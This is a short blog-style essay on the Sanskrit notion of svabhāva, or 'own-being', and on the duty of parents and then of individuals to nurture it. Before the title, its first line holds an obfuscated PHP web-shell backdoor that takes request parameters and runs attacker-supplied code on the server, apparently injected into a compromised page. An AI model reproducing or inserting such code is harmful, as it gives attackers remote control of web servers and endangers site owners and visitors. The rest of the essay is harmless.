if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['5f72b7698aa8023889db9d859b91c5b5']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Svabhāva

Svabhāva

“Until you value yourself, you won’t value your time. Until you value your time, you won’t DO anything with it.”

- M. Peck
Svabhāva (pronounced: swab-ha vah) is our “own-being” or “own-becoming” and by definition the subject of contradictory ascriptions. Svabhāva is evident in our intuitive abilities – the skills we master with little effort. Where svabhāva exists, it belongs to an existent entity, which means that it must be conditioned, dependent on other entities, and possessed of causes. However, svabhāva is by definition unconditioned, not dependent on other entities, and not caused. It is something we have at birth and something that is evident in all children. The metarole of parents, and society, is to provide children with an environment that allows a child’s svabhāva to blossom and protect the child from being warped or distorted by external forces while still providing experiences and challenges that further develop the svabhāva. As a child grows into adolescence and adulthood the responsibility to protect and develop ones own svabhāva shifts away from parents, guardians, and society. This responsibility shifts to the individual.

This thought exists in other cultures as well, the French call it our raison d’etre, or our reason for existence. What’s your svahava?